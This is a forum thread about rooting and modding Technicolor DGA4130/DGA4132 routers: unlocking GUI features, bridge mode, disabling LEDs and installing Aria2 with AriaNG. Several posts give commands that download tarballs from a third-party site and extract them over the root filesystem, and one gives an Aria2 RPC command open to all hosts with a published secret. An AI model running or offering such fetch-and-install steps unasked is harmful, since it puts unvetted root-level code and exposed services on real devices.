Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 07:12:27 PM
@bilbo
in Ansuel's GUI, the broadband-modal.lp include some codes related to the bridge mode.
i just tested it, and it display 2 buttons (Switch to Bridge mode and Voice mode) looks like there is no errors in the GUI, but does it work ? i don't know, you have to test to see if you're bridge is working with this file...

@eclp
you have to enable first in /etc/config/web each file you want to access from the GUI. So you have to insert in the config ruleset 'ruleset_main' this line :
Code: [Select]
list rules 'portmirrormodal'
and at the end of the file, add this :
Code: [Select]
config rule 'portmirrormodal'
option target '/modals/port-mirror-modal.lp'
list roles 'admin'
list roles 'engineer'

now you should see the port mirror tab in the diagnostics tile  :)

I never tried this feature, so if that works please confirm.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 07:36:57 PM
I cant see any reference to port mirror.

Here are some of the screen shots of ansuels gui you provided earlier in the thread.

http://forum.kitz.co.uk/index.php/topic,20343.msg355576.html#msg355576
it's here :
https://i.imgur.com/zfbh8mD.png
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 07:42:17 PM
@shdf ...

Thank you.... but both code lines are already included...!?  :no:

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 07:45:05 PM
and you restarted transformer and nginx ?

(https://i.imgur.com/lKOvqqy.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 07:53:51 PM
this is with what ansuels broadband mode file shows me with my manually edited network file. I have not tested the button yet though, people on xbox etc.

(https://s13.postimg.org/9fz7bkt3b/bbmodeansuel.png) (https://postimages.org/)

tile changes to this:
(https://s13.postimg.org/j32pl76mf/bbtile.png) (https://postimages.org/)
 sync speed gone

I see no port mirror tab on the diagnostics card for some reason after the usual restart commands and cache clear. (not restarted network yet)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 07:56:35 PM
@shdf blacklist 1.4 works on your modem?

it has stopped on mine
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 08:01:22 PM
@bilbo & @eclp
did you at least copied the file ? in /www/docroot/port-mirror-modal.lp   :o

@Ivymike
i didn't install this blacklist, i think it must be tested by who made it...i don't have the phone service working with that modem so i can't test anything.
(https://i.imgur.com/iuAnfNj.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 08:13:21 PM
@bilbo & @eclp
did you at least copied the file ? in /www/docroot/port-mirror-modal.lp   :o

@shdf ...

I'm an idiot.  :'( That's it....  :lol:
------------------------------------------
So, so far everything works as under Ansuel's GUI, except for one thing. Under the tile "Mobile" there is no switch button enabled/disabled as for example under "Telephony". So far I have always deactivated this in the code - but a button would be better. Ideas?

(https://i.imgur.com/khbcwEY.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 08:17:01 PM
No is not working.  :'(
same here
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 08:51:52 PM
@bilbo, did you copy the file ? did you see my previous message ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 09:36:17 PM
I have manually copied /www/docroot/modals/port-mirror-modal.lp yes.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 09:41:07 PM
shdf I DO have the mirror now after editing the web file, I had thought your tarball had it in already.   :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 09:56:27 PM
@Ivymike
i didn't install this blacklist, i think it must be tested by who made it...i don't have the phone service working with that modem so i can't test anything.

Ok could you say to puandr on ilpuntotecnico&adsl to contact me on hwupgrade.it forum for problem with blacklist?
i've been suspended without reason from ilpuntotecnico&adsl
 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 10:24:11 PM
Great I was able to get the original broadband tile back but keep the bridged view within the card:

tablecontent[#tablecontent + 1] = {
        name = "bridge",
        default = false,
        description = "Bridge Mode",
        view = "broadband-bridge.lp",
        card = "002_broadband_xdsl.lp",
        check = function()   
               if wansensing == "0" and wan_mode == "bridge" then
                  return true

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 10:18:01 AM
Is anyone know how to turn off all status LEDs completely?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 10:56:02 AM
Is anyone know how to turn off all status LEDs completely?

 :)
I've made this mod so i think yes

(https://s18.postimg.org/t8l2sg349/20180212_184245.jpg)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 11:10:45 AM
First class!  ;D
 
Can you give instructions on how to deactivate all LEDs?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 11:17:08 AM
I haven't tried yet to turn off all led but i changed my leds and flashing time, modding file: stateMachines.lua in /etc/ledfw
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 11:35:11 AM
Thank you.... but I think you can only change colors there.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 12:21:37 PM
I just tried to mod this file... all leds off except "internet" but i forgot an option certainly

it would better if there was an option or button to turn on/off leds
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 13, 2018, 12:30:46 PM
if the lights are so annoying just put a book on the modem or turn it upside down  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 12:36:44 PM
if the lights are so annoying just put a book on the modem or turn it upside down  ::)
:lol: ;)

i prefer to leave leds on for a visual check
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on February 13, 2018, 02:12:53 PM
These (https://www.amazon.co.uk/LightDims-Original-Strength-Electronics-Appliances/dp/B01BZBBITE/ref=sr_1_2?ie=UTF8&qid=1518530990&sr=8-2&keywords=lightdims&dpID=41WhlqVX-iL&preST=_SY300_QL70_&dpSrc=srch) might be useful.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 13, 2018, 03:46:30 PM
i was thinking this : https://i.imgur.com/TsWZGAx.jpg  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 03:52:31 PM
Make it explode, not?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 04:14:46 PM
Well, folks, your sticky layers are seriously disturbing my aesthetic perception.  ::)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 04:24:01 PM
Has this perhaps been lost or read over while you made fun of me with tape & co?  :no: :baby: ;D

No, seriously, can anyone contribute?

 :)

So, so far everything works as under Ansuel's GUI, except for one thing. Under the tile "Mobile" there is no switch button enabled/disabled as for example under "Telephony". So far I have always deactivated this in the code - but a button would be better. Ideas?

(https://i.imgur.com/khbcwEY.png)


Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 13, 2018, 04:29:40 PM
looks like ivymike can answer you about this because i can see it in his GUI :
http://forum.kitz.co.uk/index.php/topic,20343.msg364998.html#msg364998
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 05:03:34 PM
yes i have that button on telephony on mobile and cwmp.
I would like to have it on firewall yet.

Just copy the relative card

@shdf can i public your guide for 1.1.0 on my site?
I think that when new firmware will be ready, we should only downgrade to 1.0.3, rooting with internet disabled and then upgrade.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 13, 2018, 05:32:13 PM
@ivymike
of course ! no problem  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 06:31:02 PM
Thank you for your feedback!

But I think you misunderstood me, the screenshot of Ivymike is not original TIM. I want to do it the same way as on the second picture, like for example tile "Telephony".

Not so...
(https://i.imgur.com/dzo3y8A.png)

Thus original TIM GUI:
(https://i.imgur.com/MkfTkEK.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 13, 2018, 06:51:56 PM
Does this help with the leds?
https://medium.com/openwrt-iot/lede-openwrt-disabling-your-leds-5eaf51735ff1
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 07:02:55 PM
Thanks Bilbo....

So or similar could help.... Unfortunately, my knowledge is not enough. Could even start with cron in the morning, go out in the evening... or something.  ;D

/sys/class/leds/

Quote
SwitchMode=$1 #on/off
if [ "$SwitchMode" == "on" ]; then
    logger leds turning on
    leds="0"
    brightness="255"
else
    logger leds turning off
    leds="1"
    brightness="0"
fi
swconfig dev switch0 set disable_all_leds $leds
echo $brightness > /sys/class/leds/tp-link\:blue\:system/brightness
echo $brightness > /sys/class/leds/tp-link:green:usb1/brightness
echo $brightness > /sys/class/leds/tp-link:green:usb1/brightness
echo $brightness > /sys/class/leds/tp-link:blue:wlan2g/brightness
echo $brightness > /sys/class/leds/ath9k-phy1/brightness

DGA4132:

broadband:green
dect:green
dect:orange
dect:red
ethernet:green
internet:green
internet:orange
internet:red
iptv:green
power:blue
power:green
power:orange
power:red
voip:green
wireless:green
wireless_5g:green
wps:green
wps:orange
wps:red

(but these are only symbolic links)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 13, 2018, 07:49:33 PM
Does this help with the leds?
https://medium.com/openwrt-iot/lede-openwrt-disabling-your-leds-5eaf51735ff1

It works!!!!

Here's the path:
/sys/devices/platform/bcm-led.0/leds/

Example --> ethernet
----------------------------------------------------------------
cd /sys/class/leds
ls
cd /sys/devices/platform/bcm-led.0/leds/ethernet:green
ls
echo none > trigger
echo 0 > brightness
----------------------------------------------------------------
and how to switch on...

echo 1 > brightness

 ;D ;D ;D

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 13, 2018, 10:53:04 PM
but we cannot change brightness, true?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 14, 2018, 06:46:28 AM
I think it's only going on or off, I'm not sure, maybe the brightness can be adjusted. It is interesting in any case... for me personally, the LEDs can be switched to off... even without adhesive tape and blindfold.  ::) :P
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 14, 2018, 07:29:49 AM
if you want to save energy you can also divide the CPU speed by 8  ;D in bridge mode you don't need the power of a dual core ARM 1Ghz
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 14, 2018, 08:03:59 AM
One can save almost no energy by switching off the LED.
If you have a lot of devices and each one flashes with any other color, I find it very unaesthetic. That's why the LEDs of all my devices are switched off at home. Just think of a second mesh node (repeater, and so on) in the bedroom on the second floor of the house, I don't need any wild and colorful flashing LEDs.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 14, 2018, 09:32:32 AM
if you go in "Device Connected" then "Traffic monitor", traffico monitor works or not?

in mine doesn't work... how can fix it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 14, 2018, 11:26:01 PM
@shdf what is AriaNG?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 08:06:16 AM
https://github.com/mayswind/AriaNg
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 08:10:27 AM
yes i just read, but i don't understand a lot  :-\

how did you install it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 15, 2018, 08:23:30 AM
@Ivymike ...

Aria2 è un programma di download multipiattaforma.

 :)

[Moderator edited to add Google Translate's output: "Aria2 is a cross-platform download program."]
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 08:52:30 AM
@Ivymike ...

Aria2 è un programma di download multipiattaforma.

 :)

beh mi parli in italiano?  :D
si avevo capito, stavo pensando a cosa potrei farmene... ma siccome mi piace smanettare come ha fatto shdf a installarlo nella GUI?

[Moderator edited to add Google Translate's output: Well, are you talking to me in Italian? I had understood, I was thinking about what I could do ... but since I like to fiddle as did shdf to install it in the GUI? (Not a brilliant translation but sufficient enough to understand.)]
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 09:46:45 AM
First of all you have to install aria as explained here :
http://forum.kitz.co.uk/index.php/topic,20343.msg356456.html#msg356456

Note that the package installation links changed since this tutorial was made, if your opkg configuration is correct then you have to do this :
opkg update
opkg install libstdcpp
opkg install aria2

and then follow the tutorial.

Once you have your aria2 runing in your router, you can download the Aria web ui, there are 2 projects:
https://github.com/mayswind/AriaNg/releases
https://github.com/ziahamza/webui-aria2

put These files in /www/docroot/aria/, below i used ariang.
(https://i.imgur.com/lZ09ECY.png)

in /etc/nginx/nginx.conf you have to allow the aria folder, so you have to add this, below one of the other location :
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location /aria {
          index index.html;
        alias /www/docroot/aria;
        }
i asked ansuel to add this a long time ago so it is already in Ansuel's nginx.conf, if you don't understand where to add it.

Don't forget to configure Aria from the GUI, especially the download folder (your USB key or HDD) you don't have enough disk space in the modem.

i think i'm going to make a ready to use tarball including just the AriaNG webUI, not aria, those who want Aria runing will have to install it.

EDIT:
i created a special tarball for the DGA4132, with AriaNG included :
- The nginx.conf file is already configured
- The files in /root are included
- The rc.local file is included, in order to start aria daemon after a reboot with this command
aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all --daemon=true --rpc-secret=QPHPSrbLeqPnrQvjIq292QvwmaUJw8cW
**Please note that you can create your own key**

The key has to be inserted in your ariaNG config :
(https://i.imgur.com/qdNlWPZ.png)

So i summarize the shell commands to install Aria2 + AriaNG GUI over the TIM GUI unlocked :

opkg update
opkg install libstdcpp
opkg install aria2

wget -P /tmp http://dga4130.tk/ariang.tar.gz
tar -zxvf /tmp/ariang.tar.gz -C /

aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all --daemon=true --rpc-secret=QPHPSrbLeqPnrQvjIq292QvwmaUJw8cW

/etc/init.d/transformer restart
/etc/init.d/nginx restart

then open your browser on http://192.168.1.1/aria
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 15, 2018, 11:38:12 AM
Merci beaucoup Monsieur!

You're really doing a first-class job, my friend!

That's when I bow down....

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 12:09:49 PM
when i launch both command to install packages, i receive an error

wget: bad address 'brcm63xx-tch.ddns.net'
Collected errors:
 * opkg_download: Failed to download http://brcm63xx-tch.ddns.net/base/libstdcpp_4.8-linaro-1_brcm63xx-tch.ipk, wget returned 1.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 12:26:57 PM
because you didn't read what i said !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 12:36:07 PM
sorry i read in the other forum and not over here...  :'(
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 12:42:01 PM
 :wall: :wall: :wall: :wall: :rant:

i lost all my mod
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 01:09:52 PM
Sorry i forgot to mention that this is for a complete installation GUI unlocked + AriaNG GUI:

Always check the tarball content before doing anything, you have to know first what files are going to be overwritten.

Quote
opkg update
opkg install libstdcpp
opkg install aria2

wget -P /tmp http://dga4132.tk/dga4132_unlocked_ariang.tar.gz
tar -zxvf /tmp/dga4132_unlocked_ariang.tar.gz -C /

aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all --daemon=true --rpc-secret=QPHPSrbLeqPnrQvjIq292QvwmaUJw8cW

/etc/init.d/transformer restart
/etc/init.d/nginx restart

then open your browser on http://192.168.1.1/aria
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 01:32:45 PM
i added the tarball for DGA4130 http://www.dga4132.tk/
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 15, 2018, 06:18:43 PM
@shdf ...

They originally posted these error messages. Now that I test with the second 4132 on AGTHP_1.1.0_002_CLOSED a little bit, the message fills me the log dense, about every 10 seconds. This was/is not so under 1.0.5, at least not so extreme or simply disappeared again.

Do you still have these messages or have you been able to fix them in the meantime?

I guess this has something to do with iproute.


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Dec 2 13:32:39   kern.warn   kernel   [ 7846.392000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.352000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.334000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.288000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.270000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.234000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.217000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.184000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.168000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.135000] netlink: 20 bytes leftover after parsing attributes.
Dec 2 13:32:39   kern.warn   kernel   [ 7846.118000] netlink: 20 bytes leftover after parsing attributes.

edit

I get this Output:
logread | grep -i -E "sqm|netlink"

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root@modemtim:~# logread | grep -i -E "sqm|netlink"
Thu Feb 15 16:31:56 2018 kern.info kernel: [   20.245000] Initializing XFRM netlink socket
Thu Feb 15 16:31:56 2018 kern.info kernel: [   20.277000] L2TP netlink interface
Thu Feb 15 16:31:56 2018 kern.info kernel: [   20.440000] Netfilter messages via NETLINK v0.30.
Thu Feb 15 16:31:56 2018 kern.info kernel: [   24.387000] ctnetlink v0.93: registering with nfnetlink.
Thu Feb 15 16:32:15 2018 daemon.notice procd: /etc/rc.d/S50intercept: RTNETLINK answers: No such file or directory
Thu Feb 15 16:32:15 2018 daemon.notice procd: /etc/rc.d/S50intercept: RTNETLINK answers: No such file or directory
Thu Feb 15 16:32:17 2018 kern.warn kernel: [   49.406000] br_netlink_mcpd.c: Setting registration type 0 pid to 3326
Thu Feb 15 16:32:23 2018 kern.warn kernel: [   55.106000] netlink: 20 bytes leftover after parsing attributes.
Thu Feb 15 16:32:23 2018 kern.warn kernel: [   55.111000] netlink: 20 bytes leftover after parsing attributes.
Thu Feb 15 16:32:23 2018 kern.warn kernel: [   55.127000] netlink: 20 bytes leftover after parsing attributes.
Thu Feb 15 16:32:23 2018 kern.warn kernel: [   55.132000] netlink: 20 bytes leftover after parsing attributes.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 15, 2018, 06:21:54 PM
what is the path to download on pendrive?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 15, 2018, 06:51:16 PM
@eclp
i have these log message too, but unless there is a particular problem or something to troubleshoot i never watch the logs.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 17, 2018, 12:38:12 PM
Local network works for me: I have modified the file
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: drbiggy on February 18, 2018, 06:44:50 PM
Can someone explain a way to enable sqm in the firmware?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Yoshi on February 19, 2018, 12:25:02 PM
First of all I want to thank everyone here involved in all the modding and rooting stuff, you've got a big fanbase in germany. ;-)

I personally own a DGA4130 and a DGA4132. For the latter I want to configure bridge mode. I've installed the correct Mod-GUI from dga4132.tk (without Aria) on top of  1.1.0 firmware. I can switch over to bridge mode but can't switch back. The button is there but it doesn't do anything once you've switched to bridge mode.

Shame on me I forgot to backup all the config files before switching to bridge mode, can anyone provide me with the original ones so I can get back to router mode?

Besides that, something is missing for bridge mode to function. My firewall appliance doesn't establish a pppoe connection with the DGA4132 in bridge mode. Sync is fine but the firewall doesn't get any ips from it. The 4130 with ansuels GUI works fine though.

Anything I can provide to fix this problem? But getting back into router mode without reflashing would also help me right now. :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 19, 2018, 02:22:03 PM
Shame on me I forgot to backup all the config files before switching to bridge mode, can anyone provide me with the original ones so I can get back to router mode?
you can find a copy of the original firmware inside the /rom folder, when you do a factory reset, everything from that folder overwrites your configuration, so you'll find the /etc/config/ folder in /rom/etc/config/.

i just posted yesterday the Ansuel GUI fixed to work with 1.1.x firmwares, here is how to install it :
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wget -P /tmp http://www.dga4132.tk/GUI.tar.gz
tar -zxvf /tmp/GUI.tar.gz -C /
/etc/init.d/rootdevice force

you can install it over my GUI. Once it is installed check if the bridge mode works as expected.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Yoshi on February 19, 2018, 04:53:53 PM
One shouldn't blindly copy all the stuff from /rom/etc/config to /etc/config because at least the wireless file is different. After replacing all the stuff I didn't have ethernet connection at all and only 2,4 GHz wireless had the SSID SET_BY_SCRIPT... So be careful.

Had to push reset now and start over again. I'll try your fixed GUI next and report back.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 19, 2018, 05:23:45 PM
i just posted yesterday the Ansuel GUI fixed to work with 1.1.x firmwares, here is how to install it :

Fixed as in no bugs or fixed as in it will run and no longer crash on 1.1.x but there are still bugs?  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 19, 2018, 05:56:23 PM
i just switched the tile (Local Network) which was not working with the one from the "unlocked GUI". Apparently that was the only thing which was not working. All existing bugs are still present...but looks like a lot of people can live with them...:)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 20, 2018, 07:12:22 AM
hello, i made a new version of the unlocked GUI with a semi permanent root. you'll keep the root after a firmware upgrade/downgrade. Only a factory reset will delete it.

wget -P /tmp http://dga4132.tk/dga4132_unlocked_root.tar.gz
tar -zxvf /tmp/dga4132_unlocked_root.tar.gz -C /
/etc/init.d/rootdevice force
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 20, 2018, 07:57:14 AM
@shdf ...

It is again about the netlink error message. Sorry.  :cool:

The one 4132 is still running with 1.0.5 (TIM) and there is no error message. Only if I press the tile "IP Extras" there is reproducible also the netlink error message in the log.
I stress, otherwise there are no netlink error messages.


 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 08:17:07 AM
hello, i made a new version of the unlocked GUI with a semi permanent root. you'll keep the root after a firmware upgrade/downgrade. Only a factory reset will delete it.

wget -P /tmp http://dga4132.tk/dga4132_unlocked_root.tar.gz
tar -zxvf /tmp/dga4132_unlocked_root.tar.gz -C /
/etc/init.d/rootdevice force
Always with Aria included?

What do you mean with Local network not working?

I have instead a problem to remote connecting
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 01:44:09 PM
today started update to 1.1.0.

With 1.1.0 it's impossible to make a ssh connect, so if rooted as well, after upgrade root seems doesn't work 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 20, 2018, 03:57:48 PM
today started update to 1.1.0.

With 1.1.0 it's impossible to make a ssh connect, so if rooted as well, after upgrade root seems doesn't work

Are you following this guide?

http://forum.kitz.co.uk/index.php/topic,20343.msg363034.html#msg363034
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 04:40:36 PM
I'm talking in case of remote update ... if you let the modem update by itself, after rebooting you will have 1.1.0 official but root is inhibited.
Before it was enough downgrading to 1.0.3 > rooting and then leave it updating to 1.0.5 and root remained

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 20, 2018, 04:48:14 PM
in my case it works as i said and it keeps the root after an upgrade/downgrade from the GUI or autoflashgui.
An update from CWMP can't happen to me.  :) we know since the begining that when an update is coming from CWMP you lose the root, but now it's not a problem with autoflashgui you can always go back.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on February 20, 2018, 04:51:09 PM
hi sry to deviate , can you guys point me to a working toolchain for this router ?


thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 05:07:12 PM
in my case it works as i said and it keeps the root after an upgrade/downgrade from the GUI or autoflashgui.
An update from CWMP can't happen to me.  :) we know since the begining that when an update is coming from CWMP you lose the root, but now it's not a problem with autoflashgui you can always go back.
yes i know... i reporeted what happen if someone make a remote upgrade. It's different from before 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 20, 2018, 05:09:27 PM
yes i know... i reporeted what happen if someone make a remote upgrade. It's different from before

https://www.ilpuntotecnicoeadsl.com/

There is a dga4130 openwrt thread there which might mention it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 05:22:27 PM
https://www.ilpuntotecnicoeadsl.com/

There is a dga4130 openwrt thread there which might mention it.

Maybe i write bad... i only reported what happen now with new firmware remote upgrade.
that forum is the worst i had seen
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on February 20, 2018, 05:26:57 PM
they have something indeed ...

italians very patriots :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 05:37:41 PM
they have something indeed ...

italians very patriots :)
i don't think so...


@shdf aria doesn't work... installed but if i click on GUI or by browser i receive "404 Not Found"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 20, 2018, 06:05:11 PM
Did you restart nginx after installing the GUI ?

everything is explained here : http://forum.kitz.co.uk/index.php/topic,20343.msg365238.html#msg365238
 if it doesn't work then i'm sure you didn't do something correctly, it works perfectly to me on both dga4130/dga4132.
Anyway i can't troubleshoot anything with just a "it doesn't work" without any details, screenshots, configs etc...i don't even know how you installed it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 06:23:37 PM
Did you restart nginx after installing the GUI ?

everything is explained here : http://forum.kitz.co.uk/index.php/topic,20343.msg365238.html#msg365238
 if it doesn't work then i'm sure you didn't do something correctly, it works perfectly to me on both dga4130/dga4132.
Anyway i can't troubleshoot anything with just a "it doesn't work" without any details, screenshots, configs etc...i don't even know how you installed it.
yes obviously... i wouldn't want that in 1.1.0 official there was something different


EDIT: solved, i forgot to drag and drop a file in directory aria
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 20, 2018, 08:40:24 PM

that forum is the worst i had seen



(https://i.imgur.com/EyB1NGc.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 20, 2018, 08:43:39 PM
Insolence!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 20, 2018, 10:52:46 PM

(https://i.imgur.com/EyB1NGc.png)

I have no words...

Everybody on my site  ;) ;D ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 21, 2018, 01:20:02 PM
how can see my files on pendrive in usb2 from remote connection?

i can see it only if wifi connected 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 21, 2018, 02:01:37 PM
i don't have any probleme with my pc connected on ethernet. my wifi is actually disabled. going to \\192.168.1.1 you should see your usb key.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 21, 2018, 02:19:30 PM
i don't have any probleme with my pc connected on ethernet. my wifi is actually disabled. going to \\192.168.1.1 you should see your usb key.

no i meant if i'm at work, how can see my files on usb connected on modem's usb port?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 21, 2018, 02:31:20 PM
https://superuser.com/questions/311658/make-a-network-drive-available-over-the-internet
